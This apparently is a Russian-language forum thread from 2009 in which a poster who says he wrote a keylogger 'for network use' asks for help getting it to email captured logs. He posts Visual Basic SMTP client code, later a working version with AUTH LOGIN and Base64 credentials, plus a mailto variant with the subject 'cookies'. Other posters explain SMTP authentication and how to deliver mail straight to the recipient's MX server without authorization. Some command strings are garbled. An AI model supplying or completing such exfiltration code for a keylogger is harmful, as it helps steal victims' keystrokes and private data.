Всем здрасти……
Ну типа у меня есть одна проблема и ни как не могу разобраться, что к чему…. Помогите!!!!!
Проблема:
Написал я короче кейлогер))))для работы в сети)))) все вроде бы работает,
однако отправлять какие либо сообщения с логами, прога не хочет))))
Public Function smtp(m_host, m_port, m_from, m_rcpt, name_from, name_rcpt, m_reply, m_subject, m_data As String) As Integer
Dim temp, timeout As Variant
Progress = 0
Green_Light = False
do_cancel = False
timeout = Timer + 60
Log "Will timeout in 60 seconds"
If mysock <> 0 Then Call closesocket(mysock)
temp = ConnectSock(m_host, m_port, 0, Form1.hWnd, True)
Log "Connect socket return value" & temp
Log "Connected to " & m_host & " at port " & m_port
If temp = INVALID_SOCKET Then
Log "Error -Invalid Socket"
smtp = -1
Exit Function
End If
While mysock = 0
DoEvents
If do_cancel = True Then
Log "Error .. No connection"
smtp = -1
Exit Function
End If
Wend
timeout = Timer + 60
Log "Connection Established…"
While Green_Light = False
DoEvents
If do_cancel = True Then
Log "Error in between smtp – fatal"
smtp = -1
Exit Function
End If
If Timer > timeout Then
m_timeout = True
Call closesocket(mysock)
mysock = 0
Log "Timeout at progress step " & Progress
smtp = 0
Exit Function
End If
Wend
Log "HELO " & Mid(m_from, InStr(1, m_from, "@") + 1, Len(m_from)) & vbCrLf
Call SendData(mysock, "HELO " & Mid(m_from, InStr(1, m_from, "@") + 1, Len(m_from)) & vbCrLf) 'send the data
While Progress < 1
DoEvents
If do_cancel = True Then
Log "Error in between smtp – fatal"
smtp = -1
Exit Function
End If
If Timer > timeout Then
m_timeout = True
Call closesocket(mysock)
mysock = 0
smtp = 0
Log "Timeout at progress step " & Progress
Exit Function
End If
Wend
Log "MAIL FROM: <" & m_from & ">" & vbCrLf
Call SendData(mysock, "MAIL FROM: <" & m_from & ">" & vbCrLf)
While Progress < 2
DoEvents
If do_cancel = True Then
Log "Error in between smtp – fatal"
smtp = -1
Exit Function
End If
If Timer > timeout Then
m_timeout = True
Call closesocket(mysock)
mysock = 0
Log "Timeout at progress step " & Progress
smtp = 0
Exit Function
End If
Wend
Log "RCPT TO: <" & m_rcpt & ">" & vbCrLf
Call SendData(mysock, "RCPT TO: <" & m_rcpt & ">" & vbCrLf)
While Progress < 3
DoEvents
If do_cancel = True Then
Log "Error in between smtp – fatal"
smtp = -1
Exit Function
End If
If Timer > timeout Then
m_timeout = True
Call closesocket(mysock)
mysock = 0
Log "Timeout at progress step " & Progress
smtp = 0
Exit Function
End If
Wend
Log "D?4??4??1?" —————————————————–
На этом шаге вылетает сообщения с сервака
типа
" 503 Administrative prohibition — authorization required.Users in your domain are not allowed to send email without authorization.See //www.mail.ru/pages/help/261.html for details."
Незнаю короче…. Че делать.
———————————————————————————————————–
Call SendData(mysock, "D?4??4??1?" & vbCrLf)
While Progress < 4
DoEvents
If do_cancel = True Then
Log "Error in between smtp – fatal"
smtp = -1
Exit Function
End If
If Timer > timeout Then
m_timeout = True
Call closesocket(mysock)
mysock = 0
Log "Timeout at progress step " &
3 сентября 2009 в 3:01
Всем Спасибо, за помощь!!!!! Я понял как Авторизацию пройти!!!
ПРОЦЕСС ОБЩЕНИЯ С СЕРВЕРОМ
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim B() As Byte
Dim C() As Byte
Dim Tmp As String
bQuit = False
Winsock1.GetData Response, vbString
Select Case Val(Mid$(Response, 1, 3))
Case 220
smtpState = SMTP_Identifying
Call SendData("HELO " & Winsock1.LocalHostName & vbCrLf)
Case 235
Select Case smtpState
Case SMTP_AuthPassword
smtpState = SMTP_MailFrom
WinsockSendData "MAIL FROM: <" & MailFrom & ">" & vbCrLf
End Select
Case 250
Select Case smtpState
Case SMTP_Identifying
If Trim(AuthLogin) <> "" And Trim(AuthPassword) <> "" Then
smtpState = SMTP_AuthIdentify
WinsockSendData "AUTH LOGIN" & vbCrLf
Else
smtpState = SMTP_MailFrom
WinsockSendData "MAIL FROM: <" & MailFrom & ">" & vbCrLf
End If
Case SMTP_MailFrom
WinsockSendData "RCPT TO:<" & MailToSeparated.Item(1) & ">" & vbCrLf
Call MailToSeparated.Remove(1)
smtpState = IIf(MailToSeparated.Count > 0, SMTP_MailFrom, SMTP_RcptTo)
Case SMTP_RcptTo
smtpState = SMTP_BeginBody
WinsockSendData "D?4??4??1?" & vbCrLf
Case SMTP_SendBody
smtpState = SMTP_Closing
WinsockSendData "QUIT"
Winsock1.Close
smtpState = SMTP_Closed
blnSendOK = True
RaiseEvent Sent
End Select
Case 251
Select Case smtpState
Case SMTP_RcptTo
smtpState = SMTP_BeginBody
WinsockSendData "D?4??4??1?" & vbCrLf
End Select
Case 334
Select Case smtpState
'ОТПРАВКА ЛОГИНА
'=============================================
Case SMTP_AuthIdentify
smtpState = SMTP_AuthUsername
B = StrConv(AuthLogin, vbFromUnicode)
Call EncodeB64(B, C)
Tmp = StrConv(C, vbUnicode)
WinsockSendData Tmp & vbCrLf
'ОТПРАВКА ПАРОЛЯ
'=============================================
Case SMTP_AuthUsername
smtpState = SMTP_AuthPassword
B = StrConv(AuthPassword, vbFromUnicode)
Call EncodeB64(B, C)
Tmp = StrConv(C, vbUnicode)
WinsockSendData Tmp & vbCrLf
End Select
'=============================================
Case 354
smtpState = SMTP_SendBody
Call SendData(sComplemento)
Call SendData(vbCrLf & "." & vbCrLf)
Case Is >= 400
RaiseEvent ErrorSend(Response)
smtpState = SMTP_Closed
Winsock1.Close
Case Else
smtpState = SMTP_Closed
Winsock1.Close
End Select
End Sub
Всем огромное спасибо……
Юзаем дальше!!!!!!
3 сентября 2009 в 1:00
Cyber Max, Спасибо тебе за столь понятное обьяснение!!!! Но я ни че не понял))))))))))))!!!
Леонид maxleo Максимов, Авторизироваться ни как не получаеться….. Толи я такой тупой….. Толи сервак))))))!!!!!
Бред……
А так можно….
Dim str As String
Dim addr, tex, subj As String
Dim ts As String
addr = "Ляляля@mail.ru"
subj = "cookies"
tex = "Текст лога."
'отправка
Call ShellExecute(Me.hwnd, "Open", "mailto:" & addr & "?SUBJECT=" & subj & "&body=" & str, "", "", 0)
???????????
3 сентября 2009 в 0:04
боюсь, что он действительно пытается авторизироваться, начав перед этим договариваться с сервером об отправке почты.
3 сентября 2009 в 0:02
Ну как как напрямую… приблизительно вот так:
1) беред домен после собачки (ex: mail.ru) и получаем его MX-record (mxs.mail.ru) в инете полно классов (ex: FMXResolver)
2) конектишся к этому серваку полученому из MX-record (ex:mxs.mail.ru) и отправляешь не него письма *@mail.ru по обычному SMTP протоколу, без всяких авторизаций.
3) для другого мыла.. другая MX запись и все повторяется снова
2 сентября 2009 в 23:04
//www.faqs.org/rfcs/rfc2554.html
2 сентября 2009 в 23:03
Привет парни!!!!!
Павел [Paul] Акулов, Типаws.SendData ( "AUTH LOGIN" & "логин") ?!!! Не получается ни че…. с сервака вылетает > 503 not permitted in mail transaction!!!!! Всяко крутил сAUTH LOGIN!!!!
Cyber Max,Как напрямую?…… не врубился.
Парни!!! Может кто готовый кодик…. даст???, срочняк нужен!!!!
2 сентября 2009 в 16:01
1) шлешь серверу сообщение "AUTH LOGIN", он тебе выдает в Base64 строку, которая содержит текст типа "Username:"
2) шифруешь логин для входа на почту в Base64 и отправляешь серверу. Сервер высылает шифрованное сообщение типа "Password:"
3) шифруешь пароль отправляешь серверу. Он должен выдать что-то типа "Authorization successful"
4) отправляешь письмо
2 сентября 2009 в 9:03
>>как отправить мыло, вы должны авторизоваться на сервере…
Не обязательно! Это если ты хочешь использовать этот сервер как relay для отправки.
Если самому получить MX запись сервера на котором находится получатель, но можно на прямую отправить без авторизации.
2 сентября 2009 в 1:03
Спасибо!!!!Да я вже понял)))))) Там на странице описано все! Вот как запрос отправить на авторизацию….. кстати на C++ Borland пытался ченить поковырять…… и там такаяже муть, с этим Майлом(((((((
2 сентября 2009 в 1:00
хмм… ну, весь код разбирать сейчас не вариант, но по ошибке ясно, что перед тем, как отправить мыло, вы должны авторизоваться на сервере… то бишь сначала отправить запрос на авторизацию, и ток потом отправлять уже сообщение….
2 сентября 2009 в 0:02
Подскажите пожалуйста)))) Что не так?
Или может свой способ отправки посоветуете!!!!!?
Всем спасибо!!!!!!